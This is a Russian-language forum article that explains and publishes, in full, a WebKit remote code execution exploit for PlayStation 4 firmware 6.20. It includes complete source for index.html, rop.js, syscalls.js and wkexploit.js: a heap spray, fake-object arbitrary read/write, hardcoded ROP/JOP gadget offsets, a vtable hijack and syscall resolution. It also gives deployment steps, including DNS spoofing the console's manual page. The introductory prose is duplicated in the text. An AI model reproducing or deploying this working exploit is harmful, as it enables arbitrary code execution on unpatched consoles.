Доброго времени суток форумчане. Как и обещал написал для вас статью про удалённое выполнение кода через WebKit в PlayStation4.
В этой статье мы разберём эксплоит и уязвимость.
Уязвимость очень опасна так как злоумышленник может захватить управление над вашим устройством не в вашу пользу, например майнить на нём или заразить малварью для последующих действий с вашим и другими заражёнными устройсвтами. Чаще всего это спам, брутфорс и дудос.
Поехали!
Эксплойт предназначенный для PlayStation 4 на прошивке 6.20. Эксплойт сначала устанавливает произвольный примитив чтения/записи, а также произвольную утечку адреса объекта в `wkexploit.js'. Затем он настроит фреймворк для запуска цепочек ROP в `index.html` и по умолчанию будет предоставить две ссылки для запуска теста ROP цепи - одна для запуска `sys_getpid() системный вызов, а другой для запуска `sys_getuid()` системный вызов чтобы получить идентификатор процесса и идентификатор пользователя процесса соответственно.
Эксплоит использует переполнение кучи(heap overflow) и создание виртуальных объектов и вызывая путаницу и WebKit воспринимает их как настоящие объекты
Файлы в алфавитном порядке:
* `index.html` - содержит пост-эксплойт, идущий от arb. R / W -> выполнение кода.
* `rop.js` - Contains a framework for ROP chains.
* `syscalls.js` - содержит (неполный)список системных вызовов для использования после эксплойта.
* `wkexploit.js` - содержит сердце эксплойта WebKit.
index.html:
* Краткий обзор стратегии эксплойта выполнения кода...
*
* Кажется, Sony сделала некоторые довольно интересные изменения в WebKit между прошивками 5.0 x и 6.0 x.
* Таким образом, бывший метод qwertyoruiop используется для получения выполнения
* через перезапись указатель функции parseFloat () не сразу сработал, поэтому я переключился на другую стратегию.
*
* Этот эксплойт предназначен для vtable объекта TextArea DOM-метод scrollLeft() в частности. Разбив scrollLeft()
* указатель функции для того чтобы указать к этой из цепи JOP, мы можем установить строчки кода вверх для того чтобы поскакать в ROP. Подробнее о том, как это работает, см.
* линии 193-256. Для гаджетов для портирования на старые прошивки будут интересны линии 133-168.
*
* Если вы не портируете, вы должны добавить свои собственные строчки кода после строки 383.
rop.js:
* Этот файл содержит фреймворк для запуска цепочек ROP. Вам, вероятно, не нужно будет ничего редактировать здесь
* если вам не нужно переключать гаджеты на новые.
syscalls.js:
* Этот файл содержит (неполный)список системных вызовов для пост-эксплойта.
* Много из системных вызовов отсутствуют, поэтому не стесняйтесь, добавляйте которые вам нужны.
* Я не включил более полный список, потому что слишком много вызовов влияет на эксплойт и его стабильность.
wkexploit.js:
* Эксплойт использует ошибку JSArray:: shiftCountWithArrayStorage, найденную в
* lokihardt. Из-за ошибочной логики, по сути, ошибка позволяет нам сдвигать произвольную сумму
* из QWORDS (64-разрядных целых чисел) вниз на 8 байт. Через какую-то heap feng shui с настройкой цели
* butterflies, это в конечном итоге приводит к объекту ArrayWithDoubles с очень большим размером,
* позволяет нам писать за пределы массива. Используя это, мы можем написать в
* ArrayWithContiguous (массив объектов) для внедрения поддельных объектов JavaScript и утечки адреса
* реальных объектов JavaScript, вызывая путаницу типов во встроенных слотах.
* С возможностью создавать поддельные объекты, которые АО считает реальными, мы можем создавать собственные массивы
* и изменить, где они указывают на внутренне, давая нам произвольное чтение/запись. С возможностью
* утечкой адресов реальных объектов, мы можем эффективно найти любой объект, который мы хотим в памяти для выполнение кода.
Эксплуатирование(основное):
Установите веб-сервер, размещающий эти файлы на localhost с помощью xampp или любой другой программы по вашему выбору. Кроме того, вы можете разместить его на сервере. Вы можете получить доступ к нему на PS4 либо;
1) поддельный DNS-спуфинг для перенаправления страницы руководства на страницу эксплойта или
2) использование веб-браузера для перехода на страницу эксплойта (не всегда возможно).
* Эта уязвимость была исправлена в прошивке 6.50!
* Это дает вам только выполнение кода в **системе**. Это * * не * * джейлбрейк или эксплойт ядра, это только первая половина.
* Этот эксплойт предназначен для прошивки 6.20. Он должен работать на более низких прошивках, однако гаджеты должны быть портированы, и " p.launchchain() ' для выполнения кода может потребоваться замена.
* В моих тестах эксплойт как есть довольно стабилен, но он может стать менее стабильным, если вы добавите много объектов и т. д. В эксплойт. Это одна из причин, почему `syscalls.js ' содержит только небольшое количество системных вызовов.
Спасибо за прочтение моей статьи. Статья получилась большой и муторной, но думаю вам она понравилась.
В этой статье мы разберём эксплоит и уязвимость.
Уязвимость очень опасна так как злоумышленник может захватить управление над вашим устройством не в вашу пользу, например майнить на нём или заразить малварью для последующих действий с вашим и другими заражёнными устройсвтами. Чаще всего это спам, брутфорс и дудос.
Поехали!
Эксплойт предназначенный для PlayStation 4 на прошивке 6.20. Эксплойт сначала устанавливает произвольный примитив чтения/записи, а также произвольную утечку адреса объекта в `wkexploit.js'. Затем он настроит фреймворк для запуска цепочек ROP в `index.html` и по умолчанию будет предоставить две ссылки для запуска теста ROP цепи - одна для запуска `sys_getpid() системный вызов, а другой для запуска `sys_getuid()` системный вызов чтобы получить идентификатор процесса и идентификатор пользователя процесса соответственно.
Эксплоит использует переполнение кучи(heap overflow) и создание виртуальных объектов и вызывая путаницу и WebKit воспринимает их как настоящие объекты
Файлы в алфавитном порядке:
* `index.html` - содержит пост-эксплойт, идущий от arb. R / W -> выполнение кода.
* `rop.js` - Contains a framework for ROP chains.
* `syscalls.js` - содержит (неполный)список системных вызовов для использования после эксплойта.
* `wkexploit.js` - содержит сердце эксплойта WebKit.
index.html:
HTML:
<html>
<head>
<title>PS4 6.20 WebKit Exploit</title>
<script src="wkexploit.js"></script>
<script src="rop.js"></script>
<script src="syscalls.js"></script>
<style>
h1 {
overflow: hidden;
position: fixed;
position: absolute;
top: 40%;
left: 50%;
transform: translate(-50%, -50%);
}
</style>
</head>
<body>
<script>
function debug(str)
{
document.getElementById("debug").innerHTML += str + "<br />";
}
function print(str)
{
debug(str);
}
window.postExploit = function(p)
{
debug("---------- Phase 3: Userland Code Execution ----------")
window.nogc = [];
window.syscalls = {};
p.debugDumpAndSend = function(addr, size)
{
var numElem = size / 4;
var dataToSend = new Uint32Array(numElem);
for(var i = 0; i < numElem; i++)
dataToSend[i] = p.read4(addr.add32(i * 4)).low;
debugSendData(dataToSend);
}
p.malloc = function(size)
{
var backing = new Uint8Array(size);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
p.malloc32 = function(size)
{
var backing = new Uint8Array(size*4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing);
return ptr;
}
var get_jmptgt = function (addr)
{
var z = p.read4(addr).low & 0xffff;
var y = p.read4(addr.add32(2)).low;
if (z != 0x25ff)
return 0;
return p.read8(addr.add32(y + 6));
};
try
{
var textArea = document.createElement("textarea");
var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
var textAreaVtable = p.read8(textAreaVtPtr);
var webKitBase = textAreaVtable.sub32(0x2265DE8);
webKitBase.low &= 0xFFFFC000;
textArea.rows = 0x41424344;
debug("Found WebKit Base: 0x" + webKitBase.toString(16));
// Find libkernel + libc base
var libKernelBase = get_jmptgt(webKitBase.add32(0xC8));
libKernelBase.sub32inplace(0x2D4A0);
debug("Found LibKernel Base: 0x" + libKernelBase.toString(16));
var libSceLibcBase = get_jmptgt(webKitBase.add32(0xE8));
libSceLibcBase.sub32inplace(0xB4AD0);
debug("Found Libc Base: 0x" + libSceLibcBase.toString(16));
var gadgetcache = {
"ret": 0x0000003C,
"infloop": 0x00299B01,
"pop rdi": 0x0009E67D,
"pop rsi": 0x000756CB,
"pop rdx": 0x002516B2,
"pop rcx": 0x000348D3,
"pop r8": 0x00079211,
"pop r9": 0x000CDB41,
"pop rax": 0x00075BDF,
"pop rbp": 0x000000B6,
"pop rsp": 0x00075D9A,
"mov rax, rdi": 0x00008CD0,
"mov rdx, rdi": 0x006271FE,
"mov rax, rdx": 0x0007BC20,
"mov rax, [rax]": 0x0002DC22,
"mov [rdi], rsi": 0x00034EF0,
"mov [rdi], rax": 0x0001FB49,
"mov [rax], rdi": 0x017629A7,
"mov [rax], rsi": 0x0133139D,
"mov rdx, [rcx]": 0x001848F4,
"add rax, rcx": 0x0018E2D0,
"add rax, rsi": 0x013F9533,
"and rax, rcx": 0x00108B63,
"jmp rdi": 0x000A2EA6,
};
var longJmpOffset = 0xC1818; // libc offset
var setJmpOffset = 0xC179C; // libc offset
var JOPGadgetOne = 0x6A9D0E; // webkit offset
var JOPGadgetTwo = 0x18CD2D; // webkit offset
var JOPGadgetThree = 0xCA74C2; // webkit offset
var errnoOffset = 0x893F0; // libkernel offset
window.gadgets = {};
for(var gadgetname in gadgetcache)
{
if(gadgetcache.hasOwnProperty(gadgetname))
{
window.gadgets[gadgetname] = webKitBase.add32(gadgetcache[gadgetname]);
}
}
var vtableSize = 0x6E8 / 4;
var fakeVtable = new Uint32Array(vtableSize);
var originalVt = new Uint32Array(vtableSize);
var context = p.malloc(0x100);
var jopBuf = p.malloc(0x1000);
var longJmpBuf = p.malloc(0x1000);
var fakeVtableAddr = p.read8(p.leakval(fakeVtable).add32(0x10));
var originalVtAddr = p.read8(p.leakval(originalVt).add32(0x10));
for(var i = 0; i < vtableSize; i++)
{
fakeVtable[i] = p.read4(textAreaVtable.add32(i * 4)).low;
originalVt[i] = fakeVtable[i];
}
// webKitBase.add32(0x299B01) = infloop
p.launchchain = function(ropObj)
{
var ropStack = ropObj.stack;
ropObj.push(window.gadgets["pop rdx"]);
ropObj.push(context);
ropObj.push(libSceLibcBase.add32(longJmpOffset)); // longjmp
fakeVtable[0x77] = libSceLibcBase.add32(setJmpOffset).hi; // setjmp
fakeVtable[0x76] = libSceLibcBase.add32(setJmpOffset).low;
p.write8(textAreaVtPtr, fakeVtableAddr);
textArea.scrollLeft = 0x0;
for(var i = 0; i < 0x100; i += 8)
{
p.write8(context.add32(i), p.read8(textAreaVtPtr.add32(i)));
}
// JOP chain:
//
// JOP gadget 1: mov rax, qword [rdi+0x00000700] ; call qword [rax]
// JOP gadget 2: mov rbx, qword [rax+0x000009A0] ; call qword [rax+0x998]
// JOP gadget 3: mov rdx, rbx ; call qword [rax+0x10]
p.write8(jopBuf.add32(0x00), webKitBase.add32(JOPGadgetTwo)); // JOP gadget 2 - 0x18CD2D
p.write8(jopBuf.add32(0x9A0), longJmpBuf);
p.write8(jopBuf.add32(0x998), webKitBase.add32(JOPGadgetThree)); // JOP gadget 3 - 0xCA74C2
p.write8(jopBuf.add32(0x10), libSceLibcBase.add32(longJmpOffset)); // Call longjmp
for(var i = 0; i < 0x100; i += 8)
{
p.write8(longJmpBuf.add32(i), p.read8(context.add32(i)));
}
p.write8(longJmpBuf.add32(0x00), window.gadgets["ret"]);
p.write8(longJmpBuf.add32(0x10), ropStack); // RSP = ropStack
p.write8(longJmpBuf.add32(0x18), ropStack); // RBP = ropStack
fakeVtable[0x77] = webKitBase.add32(JOPGadgetOne).hi; // JOP gadget 1
fakeVtable[0x76] = webKitBase.add32(JOPGadgetOne).low;
p.write8(textAreaVtPtr, fakeVtableAddr);
p.write8(textAreaVtPtr.add32(0x700), jopBuf);
textArea.scrollLeft = 0x0;
for(var i = 0; i < (vtableSize * 4); i += 8)
{
p.write8(textAreaVtPtr.add32(i), p.read8(originalVtAddr.add32(i)));
}
};
window.p = p;
var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);
p.write8(kstr, libKernelBase);
p.write4(kstr.add32(8), 0x40000);
var countbytes;
for (var i=0; i < 0x40000; i++)
{
if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
{
countbytes = i;
break;
}
}
p.write4(kstr.add32(8), countbytes + 32);
var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i=0; i < countbytes; i++)
{
if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
{
dview8[0] = kview[i+3];
dview8[1] = kview[i+4];
dview8[2] = kview[i+5];
dview8[3] = kview[i+6];
var syscallno = dview32[0];
window.syscalls[syscallno] = libKernelBase.add32(i);
}
}
var chain = new rop();
p.call = function(rip, rdi, rsi, rdx, rcx, r8, r9)
{
chain.clear();
chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
chain.push(window.gadgets["pop rdi"]);
chain.push(chain.retbuf);
chain.push(window.gadgets["mov [rdi], rax"]);
chain.run();
return p.read8(chain.retbuf);
};
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
{
if (typeof sysc == "string")
{
sysc = window.syscallnames[sysc];
}
if (typeof sysc != "number")
{
throw new Error("invalid syscall");
}
var off = window.syscalls[sysc];
if (off == undefined)
{
throw new Error("invalid syscall");
}
return p.call(off, rdi, rsi, rdx, rcx, r8, r9);
};
p.stringify = function (str) {
var bufView = new Uint8Array(str.length + 1);
for (var i = 0; i < str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
};
p.writeString = function (addr, str)
{
for (var i = 0; i < str.length; i++)
{
var byte = p.read4(addr.add32(i));
byte &= 0xFFFF0000;
byte |= str.charCodeAt(i);
p.write4(addr.add32(i), byte);
}
}
p.readString = function (addr) {
var byte = p.read4(addr).low;
var str = "";
while (byte & 0xFF)
{
str += String.fromCharCode(byte & 0xFF);
addr.add32inplace(1);
byte = p.read4(addr).low;
}
return str;
}
var errno = libKernelBase.add32(0x893F0);
p.write8(errno, 0);
debug("---------- Test: sys_getuid + sys_getpid ----------")
debug("<b>sys_getpid(): 0x" + p.syscall("sys_getpid") + "</b>");
debug("<b>sys_getuid(): 0x" + p.syscall("sys_getuid") + "</b>");
} catch(e) {
alert("Exception: " + e);
}
}
window.onload = function() {
document.getElementById("go").innerHTML = '<a href="javascript:main()">GO</a>';
};
</script>
<pre id="debug"></pre>
</body>
</html>
* Краткий обзор стратегии эксплойта выполнения кода...
*
* Кажется, Sony сделала некоторые довольно интересные изменения в WebKit между прошивками 5.0 x и 6.0 x.
* Таким образом, бывший метод qwertyoruiop используется для получения выполнения
* через перезапись указатель функции parseFloat () не сразу сработал, поэтому я переключился на другую стратегию.
*
* Этот эксплойт предназначен для vtable объекта TextArea DOM-метод scrollLeft() в частности. Разбив scrollLeft()
* указатель функции для того чтобы указать к этой из цепи JOP, мы можем установить строчки кода вверх для того чтобы поскакать в ROP. Подробнее о том, как это работает, см.
* линии 193-256. Для гаджетов для портирования на старые прошивки будут интересны линии 133-168.
*
* Если вы не портируете, вы должны добавить свои собственные строчки кода после строки 383.
rop.js:
JavaScript:
var rop = function() {
this.stack = p.malloc(0x5000);
this.retbuf = p.malloc(0x8);
this.count = 1;
p.write8(this.stack, 0x1337);
this.clear = function() {
this.count = 1;
for(var i = 1; i < 0xFF0 / 2; i++)
p.write8(this.stack.add32(i * 8), 0);
};
this.push = function(val) {
p.write8(this.stack.add32(this.count * 8), val);
this.count++;
};
this.push_write8 = function(addr, val) {
this.push(gadgets["pop rdi"]);
this.push(addr);
this.push(gadgets["pop rsi"]);
this.push(val);
this.push(gadgets["mov [rdi], rsi"]);
};
this.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
if(rdi != undefined)
{
this.push(gadgets["pop rdi"]);
this.push(rdi);
}
if(rsi != undefined)
{
this.push(gadgets["pop rsi"]);
this.push(rsi);
}
if(rdx != undefined)
{
this.push(gadgets["pop rdx"]);
this.push(rdx);
}
if(rcx != undefined)
{
this.push(gadgets["pop rcx"]);
this.push(rcx);
}
if(r8 != undefined)
{
this.push(gadgets["pop r8"]);
this.push(r8);
}
if(r9 != undefined)
{
this.push(gadgets["pop r9"]);
this.push(r9);
}
this.push(rip);
return this;
};
this.run = function() {
var retv = p.launchchain(this);
this.clear();
return retv;
};
return this;
};
* если вам не нужно переключать гаджеты на новые.
syscalls.js:
JavaScript:
window.nameforsyscall = swapkeyval(window.syscallnames);
function swapkeyval(json){
var ret = {};
for(var key in json){
if (json.hasOwnProperty(key)) {
ret[json[key]] = key;
}
}
return ret;
}
window.syscallnames =
{
"sys_exit": 1,
"sys_fork": 2,
"sys_read": 3,
"sys_write": 4,
"sys_open": 5,
"sys_close": 6,
"sys_wait4": 7,
"sys_unlink": 10,
"sys_chdir": 12,
"sys_chmod": 15,
"sys_getpid": 20,
"sys_setuid": 23,
"sys_getuid": 24,
"sys_stat": 38,
"sys_pipe": 42,
"sys_getgid": 47,
"sys_getlogin": 49,
"sys_setlogin": 50,
"sys_ioctl": 54,
"sys_munmap": 73,
"sys_socket": 97,
"sys_connect": 98,
"sys_send": 101,
"sys_recv": 102,
"sys_bind": 104,
"sys_setsockopt": 105,
"sys_listen": 106,
"sys_recvmsg": 113,
"sys_sendmsg": 114,
"sys_mkdir": 136,
"sys_rmdir": 137,
"sys_fstat": 189,
"sys_lstat": 190,
"sys_getdents": 272,
"sys_mmap": 477,
"sys_lseek": 478,
};
* Много из системных вызовов отсутствуют, поэтому не стесняйтесь, добавляйте которые вам нужны.
* Я не включил более полный список, потому что слишком много вызовов влияет на эксплойт и его стабильность.
wkexploit.js:
JavaScript:
var structs = [];
function zeroFill(number, width)
{
width -= number.toString().length;
if (width > 0)
{
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
}
return number + "";
}
try
{
var sprayMax = 0x400;
var conversionBuf = new ArrayBuffer(0x100);
var u32 = new Uint32Array(conversionBuf);
var f64 = new Float64Array(conversionBuf);
function int64(low, hi) {
this.low = (low >>> 0);
this.hi = (hi >>> 0);
this.add32inplace = function (val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
this.hi = new_hi;
this.low = new_lo;
}
this.add32 = function (val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
return new int64(new_lo, new_hi);
}
this.sub32 = function (val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
return new int64(new_lo, new_hi);
}
this.sub32inplace = function (val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
this.hi = new_hi;
this.low = new_lo;
}
this.and32 = function (val) {
var new_lo = this.low & val;
var new_hi = this.hi;
return new int64(new_lo, new_hi);
}
this.and64 = function (vallo, valhi) {
var new_lo = this.low & vallo;
var new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);
}
this.toString = function (val) {
val = 16;
var lo_str = (this.low >>> 0).toString(val);
var hi_str = (this.hi >>> 0).toString(val);
if (this.hi == 0)
return lo_str;
else
lo_str = zeroFill(lo_str, 8)
return hi_str + lo_str;
}
this.toPacked = function () {
return {
hi: this.hi,
low: this.low
};
}
this.setPacked = function (pck) {
this.hi = pck.hi;
this.low = pck.low;
return this;
}
return this;
}
function u2d(low, hi)
{
u32[0] = low;
u32[1] = hi;
return f64[0];
}
function d2u(val)
{
f64[0] = val;
var retval = new int64(u32[0], u32[1]);
return retval;
}
function main()
{
document.getElementById("go").style.display = 'none';
debug("---------- Phase 1: Obtaining Relative R/W Primitive ----------");
var arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;
var targetButterflies = [];
for (var i = 0; i < sprayMax; i++)
{
targetButterflies[i] = [];
targetButterflies[i].p0 = 0.0;
targetButterflies[i].p1 = 0.1;
targetButterflies[i].p2 = 0.2;
targetButterflies[i].p3 = 0.3;
targetButterflies[i].p4 = 0.4;
targetButterflies[i].p5 = 0.5;
targetButterflies[i].p6 = 0.6;
targetButterflies[i].p7 = 0.7;
targetButterflies[i].p8 = 0.8;
targetButterflies[i].p9 = 0.9;
for (var k = 0; k < 0x10; k++)
{
targetButterflies[i][k] = u2d(0x7FFFFFFF, 0x7FEFFFFF);
}
}
arr.splice(0x1000, 0x0, 1);
var targetIdx = -1;
for (var i = 0; i < sprayMax; i++)
{
if (targetButterflies[i].length != 0x10)
{
targetIdx = i;
break;
}
}
if (targetIdx == -1)
{
alert("[-] Failed to find smashed butterfly.");
return;
}
var oobDoubleArr = targetButterflies[targetIdx];
debug("---------- Phase 2: Obtaining Arbitrary R/W Primitive ----------");
var primitiveSpray = [];
for (var i = 0; i < 0x800; i++)
{
primitiveSpray[i] = [];
for (var k = 0; k < 0x10; k++)
{
primitiveSpray[i].p0 = u2d(0x13371337, 0x0);
primitiveSpray[i].p1 = u2d(0x13371337, 0x0);
primitiveSpray[i].p2 = u2d(0x13371337, 0x0);
primitiveSpray[i].p3 = u2d(0x13371337, 0x0);
primitiveSpray[i].p4 = u2d(0x13371337, 0x0);
primitiveSpray[i].p5 = u2d(0x13371337, 0x0);
primitiveSpray[i].p6 = u2d(0x13371337, 0x0);
primitiveSpray[i].p7 = u2d(0x13371337, 0x0);
primitiveSpray[i].p8 = u2d(0x13371337, 0x0);
primitiveSpray[i].p9 = u2d(0x13371337, 0x0);
if(k == 0)
primitiveSpray[i][k] = 13.37;
else
primitiveSpray[i][k] = {};
}
}
var leakAndFakePrimIdx = -1;
var leakAndFakeDoubleIdx = -1;
var foundPrimitive = false;
for (var i = 0; i < 0x5000; i++)
{
var lookupIdx = 0x65000 + i;
var oldVal = oobDoubleArr[lookupIdx];
if (oldVal == undefined)
continue;
oobDoubleArr[lookupIdx] = u2d(0x00001337, 0x0);
for (var k = 0; k < 0x800; k++)
{
if(primitiveSpray[k].length != 0x10)
{
foundPrimitive = true;
leakAndFakePrimIdx = k;
leakAndFakeDoubleIdx = lookupIdx;
oobDoubleArr[lookupIdx] = oldVal;
for(var test = 0; test < 0x10; test++)
{
f64[0] = oobDoubleArr[lookupIdx+test];
}
break;
}
}
if(foundPrimitive)
break;
oobDoubleArr[lookupIdx] = oldVal;
}
var slave = new Uint32Array(0x1000);
slave[0] = 0x13371337;
var leakTgt = {a: 0, b: 0, c: 0, d: 0};
leakTgt.a = slave;
primitiveSpray[leakAndFakePrimIdx][1] = leakTgt;
var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
var leakTargetAddrInt64 = d2u(leakTargetAddr);
for (var i = 0; i < 0x100; i++)
{
var a = new Uint32Array(1);
a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337;
structs.push(a);
}
var rwTgt = {a: 0, b: 0, c: 0, d: 0};
rwTgt.a = u2d(0x00000200, 0x1602300);
rwTgt.b = 0;
rwTgt.c = slave;
rwTgt.d = 0x1337;
primitiveSpray[leakAndFakePrimIdx][1] = rwTgt;
var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
var rwTargetAddrInt64 = d2u(rwTargetAddr);
rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10);
oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi);
var master = primitiveSpray[leakAndFakePrimIdx][1];
var addrOfSlave = new int64(master[4], master[5]);
var prim = {
read8: function(addr)
{
master[4] = addr.low;
master[5] = addr.hi;
var retval = new int64(slave[0], slave[1]);
return retval;
},
read4: function(addr)
{
master[4] = addr.low;
master[5] = addr.hi;
var retval = new int64(slave[0], 0);
return retval;
},
write8: function(addr, val)
{
master[4] = addr.low;
master[5] = addr.hi;
if (val instanceof int64) {
slave[0] = val.low;
slave[1] = val.hi;
} else {
slave[0] = val;
slave[1] = 0;
}
},
write4: function(addr, val)
{
master[4] = addr.low;
master[5] = addr.hi;
slave[0] = val;
},
leakval: function(jsval)
{
leakTgt.a = jsval;
return prim.read8(leakTargetAddrInt64.add32(0x10));
}
};
window.postExploit(prim);
}
} catch (e) { alert(e); }
* lokihardt. Из-за ошибочной логики, по сути, ошибка позволяет нам сдвигать произвольную сумму
* из QWORDS (64-разрядных целых чисел) вниз на 8 байт. Через какую-то heap feng shui с настройкой цели
* butterflies, это в конечном итоге приводит к объекту ArrayWithDoubles с очень большим размером,
* позволяет нам писать за пределы массива. Используя это, мы можем написать в
* ArrayWithContiguous (массив объектов) для внедрения поддельных объектов JavaScript и утечки адреса
* реальных объектов JavaScript, вызывая путаницу типов во встроенных слотах.
* С возможностью создавать поддельные объекты, которые АО считает реальными, мы можем создавать собственные массивы
* и изменить, где они указывают на внутренне, давая нам произвольное чтение/запись. С возможностью
* утечкой адресов реальных объектов, мы можем эффективно найти любой объект, который мы хотим в памяти для выполнение кода.
Эксплуатирование(основное):
Установите веб-сервер, размещающий эти файлы на localhost с помощью xampp или любой другой программы по вашему выбору. Кроме того, вы можете разместить его на сервере. Вы можете получить доступ к нему на PS4 либо;
1) поддельный DNS-спуфинг для перенаправления страницы руководства на страницу эксплойта или
2) использование веб-браузера для перехода на страницу эксплойта (не всегда возможно).
* Эта уязвимость была исправлена в прошивке 6.50!
* Это дает вам только выполнение кода в **системе**. Это * * не * * джейлбрейк или эксплойт ядра, это только первая половина.
* Этот эксплойт предназначен для прошивки 6.20. Он должен работать на более низких прошивках, однако гаджеты должны быть портированы, и " p.launchchain() ' для выполнения кода может потребоваться замена.
* В моих тестах эксплойт как есть довольно стабилен, но он может стать менее стабильным, если вы добавите много объектов и т. д. В эксплойт. Это одна из причин, почему `syscalls.js ' содержит только небольшое количество системных вызовов.
Спасибо за прочтение моей статьи. Статья получилась большой и муторной, но думаю вам она понравилась.